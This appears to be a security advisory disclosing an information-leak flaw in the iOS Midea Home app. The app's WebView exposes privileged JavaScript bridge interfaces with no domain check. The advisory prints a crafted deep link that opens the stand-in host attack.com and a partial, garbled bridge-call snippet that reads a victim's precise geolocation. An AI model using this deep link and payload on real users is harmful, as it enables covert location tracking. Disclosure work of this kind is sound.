An information leak vulnerability in the iOS version of Midea

Home App

Brief Description

Midea Home app is a popular smart home app, providing functions such as smart home equipment management and smart device purchase. It ranks **No.29 in the "Lifestyle" category** list on the App Store of the Chinese region and has **21,000 ratings**.



The iOS version of the Midea Home supports opening web pages from external deep link URL (Scheme-customized URL). Within the built-in WebView, there are **custom interfaces** designed for invocation within web pages. These interfaces are not publicly exposed, but through reverse engineering, we can discover how to invoke them. We found **there lacks a domain name validation** when these interfaces are invoked.

Thus, an attacker can craft a malicious Scheme-customized URL. When clicked by the victim in a browser or another app, the URL can direct the victim to the Midea Home app and open a web page controlled by the attacker. The attacker can then invoke privileged interfaces, obtaining victim's geolocation (such as precise geolocation, altitude).


Vulnerability Exploitation Process and Root Cause

The attacker, lures the user to click on a malicious URL in the following format: midea-meiju://com.midea.meiju/main?type=jumpElecBusiness&url=https://attack.com/iOSJS/mideahome/atkMideaHome.html. Here, "attack.com" represents a domain under the attacker's control.

When the victim clicks on this link, it directs the victim to the Midea Home app and opens the webpage https://attack.com/iOSJS/mideahome/atkMideaHome.html within the app.



Within the webpage, the attacker can then invoke privileged interfaces and perform malicious behaviours such as **obtaining victim's geolocation** (such as precise geolocation, altitude).



Part of the code for JS to call OC and the callback function defined in JS are shown below:

```
window.mdMallBridge = {}
window.mdMallBridge.callbackFromNative = function(callbackId, res, boolVal){
   var json = JSON.parse(res);
        case "cb_get
           document.getElementById("PreciseGeolocation").innerText = "Your Precise Geolocation: \n" +
            (" + json.data.longitude + ", " + json.data.latitude + ")";
           document.getElementById("Altitude").innerText = "Your Altitude: " + json.data.altitude;
           document.getElementById("Country").innerText = "Your Country: " + json.data.country;
           document.getElementById("Province").innerText = "Your Province: " + json.data.province;
           document.getElementById("City").innerText = "Your City: " + json.data.city;
            document.getElementById("District").innerText = "Your District: " + json.data.district;
            document.getElementById("Town").innerText = "Your Town: " + json.data.town;
           document.getElementById("Street").innerText = "Your Street: " + json.data.streetName;
            document.getElementById("RegionCode").innerText = "Your RegionCode: " + json.data.adCode;
            break;
window.webkit.messageHandlers...........................postMessage({
   callbackId: "cb_get ",
data: '{\"name\":\"get ",\"params\":{}}'
```

Impact of the Vulnerability

Scope of the vulnerability: Midea Home iOS version 9.3.12 (the latest version as of 2025-01-09). **Consequences of the vulnerability**: Information disclosure.

Download link for affected application:

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E6%99%BA%E6%85%A7%E7%94%9F%E6%B4%BB%E5%8F%AF%E4%BB%A5%E6%9B%B4%E7%BE%8E%E7%9A%84/id948600146

Possible Countermeasures

Should implement more strict domain name checks before the invocation of privileged interfaces.